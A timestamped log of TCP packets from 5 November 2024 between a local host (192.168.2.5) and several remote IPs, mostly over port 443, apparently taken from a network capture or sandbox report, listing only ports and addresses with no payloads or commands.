Nov 5, 2024 10:13:40.706329107 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:40.706342936 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.309118032 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.312299013 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.352514029 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.374027967 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.418085098 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.450161934 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.464978933 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.492733955 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.507396936 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.552472115 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.820135117 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.820164919 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.820933104 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.820938110 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.821490049 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.821516991 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.821894884 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.821899891 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.822401047 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.822427988 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.822906971 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.822913885 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.823251963 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.823292017 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.823663950 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.823668957 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.824116945 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.824126959 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.824712992 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.824717045 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.955873966 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.955957890 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.956012964 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.957578897 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.957624912 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.957676888 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.957818031 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.957849026 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.957895041 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.957906961 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.957968950 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.958065033 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.958102942 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.958139896 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.958149910 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.958188057 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.961937904 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.962080956 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.962127924 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:41.962133884 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:41.962172031 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.041105986 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.041131973 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.041157007 CET	49867	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.041163921 CET	443	49867	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.042877913 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.042910099 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.042927980 CET	49868	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.042934895 CET	443	49868	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.043955088 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.043973923 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.043987989 CET	49869	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.043992043 CET	443	49869	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.045340061 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.045358896 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.045373917 CET	49870	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.045377970 CET	443	49870	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.046627998 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.046660900 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.046673059 CET	49866	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.046679020 CET	443	49866	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.299027920 CET	49875	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.299081087 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.299148083 CET	49875	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.353967905 CET	49875	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.354003906 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.406915903 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:42.406965971 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:42.407020092 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:42.408262968 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:42.408286095 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:42.482646942 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.482703924 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.482826948 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.484808922 CET	49880	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.484854937 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.484905005 CET	49880	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.495826960 CET	49881	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.495874882 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.495940924 CET	49881	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.504122019 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.504158020 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.505681992 CET	49880	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.505702972 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.537939072 CET	49881	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.537982941 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.562140942 CET	49882	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.562179089 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:42.562242985 CET	49882	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.588773012 CET	49882	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:42.588799953 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.119864941 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.122364998 CET	49875	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.122399092 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.123490095 CET	49875	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.123496056 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.257571936 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.257644892 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.257915020 CET	49875	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.258446932 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.262590885 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.281042099 CET	49875	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.281065941 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.281096935 CET	49875	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.281105042 CET	443	49875	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.295917988 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.310410976 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.335449934 CET	49881	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.335490942 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.336095095 CET	49881	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.336101055 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.338587999 CET	49880	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.338613033 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.339011908 CET	49880	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.339019060 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.348854065 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.351202965 CET	49882	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.351229906 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.351758003 CET	49882	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.351769924 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.352032900 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.352051973 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.352616072 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.352622032 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.374919891 CET	49885	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.374954939 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.375133991 CET	49885	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.382816076 CET	49885	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.382829905 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.469902992 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.471060038 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.471128941 CET	49881	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.472759008 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.473140955 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.473192930 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.473244905 CET	49880	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.485687017 CET	49881	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.485707998 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.485718966 CET	49881	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.485724926 CET	443	49881	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.485852003 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.485876083 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.485920906 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.485923052 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.486016035 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.486740112 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.486787081 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.486972094 CET	49882	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.488729954 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.488746881 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.488775015 CET	49879	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.488780975 CET	443	49879	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.489319086 CET	49882	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.489327908 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.489339113 CET	49882	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.489343882 CET	443	49882	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.496766090 CET	49880	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.496768951 CET	443	49880	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.571269035 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:43.599647045 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:43.599656105 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:43.600555897 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:43.600614071 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:43.604500055 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:43.604554892 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:43.605077028 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:43.605082035 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:43.631350994 CET	49887	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.631386042 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.631583929 CET	49887	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.631912947 CET	49888	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.631942034 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.632462025 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.632483006 CET	49888	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.632513046 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.632577896 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.633259058 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.633270025 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.633423090 CET	49887	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.633434057 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.633434057 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.633521080 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.633534908 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.634053946 CET	49888	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.634066105 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.634987116 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:43.634999037 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:43.744287968 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:43.744338036 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:43.744415045 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:43.745307922 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:43.745321989 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:43.815342903 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:43.815473080 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:43.850446939 CET	80	49845	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:43.850517035 CET	49845	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:43.851305008 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:43.971412897 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:43.971594095 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:44.134502888 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:44.134535074 CET	443	49876	94.245.104.56	192.168.2.5
Nov 5, 2024 10:13:44.134551048 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:44.134577990 CET	49876	443	192.168.2.5	94.245.104.56
Nov 5, 2024 10:13:44.141581059 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.201879025 CET	49885	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.201903105 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.202604055 CET	49885	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.202610016 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.335434914 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.335519075 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.335592985 CET	49885	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.335943937 CET	49885	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.335943937 CET	49885	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.335963964 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.335973978 CET	443	49885	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.342242002 CET	49896	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.342284918 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.342380047 CET	49896	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.342724085 CET	49896	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.342747927 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.378941059 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.380630970 CET	49887	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.380650043 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.381055117 CET	49887	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.381059885 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.386878967 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.387339115 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.387367964 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.387751102 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.387763977 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.389568090 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.389903069 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.389935017 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.390290022 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.390295982 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.397963047 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.398354053 CET	49888	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.398385048 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.398752928 CET	49888	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.398763895 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.517702103 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.517769098 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.517899036 CET	49887	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.523950100 CET	49887	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.523950100 CET	49887	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.523976088 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.523986101 CET	443	49887	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.526799917 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.526823997 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.526865005 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.526880980 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.526911974 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.528846979 CET	49897	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.528879881 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.529026031 CET	49897	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.529352903 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.529381990 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.529397964 CET	49890	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.529405117 CET	443	49890	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.529923916 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.529947996 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.529988050 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.530016899 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.530049086 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.530632019 CET	49897	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.530641079 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.531024933 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.531042099 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.531055927 CET	49889	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.531060934 CET	443	49889	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.531922102 CET	49898	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.531964064 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.532305002 CET	49898	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.535659075 CET	49898	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.535691977 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.536768913 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.536788940 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.536866903 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.537066936 CET	49899	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.537077904 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.538187027 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.538374901 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.538424969 CET	49888	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.538458109 CET	49888	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.538474083 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.538485050 CET	49888	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.538490057 CET	443	49888	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.540726900 CET	49900	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.540762901 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.540884018 CET	49900	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.541101933 CET	49900	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:44.541116953 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:44.855223894 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:44.855299950 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.098349094 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.136008024 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.136055946 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.136439085 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.138458967 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.138597965 CET	49891	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:45.138617992 CET	443	49891	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:45.186614990 CET	49896	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.186646938 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.187156916 CET	49896	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.187171936 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.201517105 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:45.201539040 CET	443	49910	18.244.18.38	192.168.2.5
Nov 5, 2024 10:13:45.201592922 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:45.201932907 CET	49910	443	192.168.2.5	18.244.18.38
Nov 5, 2024 10:13:45.201945066 CET	443	49910	18.244.18.38	192.168.2.5
Nov 5, 2024 10:13:45.275454044 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.303278923 CET	443	49899	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.308198929 CET	443	49900	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.310877085 CET	49897	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.310898066 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.312253952 CET	49897	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.312259912 CET	443	49897	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.320815086 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.321182966 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.321238041 CET	49896	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.321433067 CET	49896	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.321455956 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.321465969 CET	49896	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.321470976 CET	443	49896	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.329099894 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.345627069 CET	49898	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:45.345649004 CET	443	49898	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:45.346087933 CET	49898	443	192.168.2.5	13.107.253.45
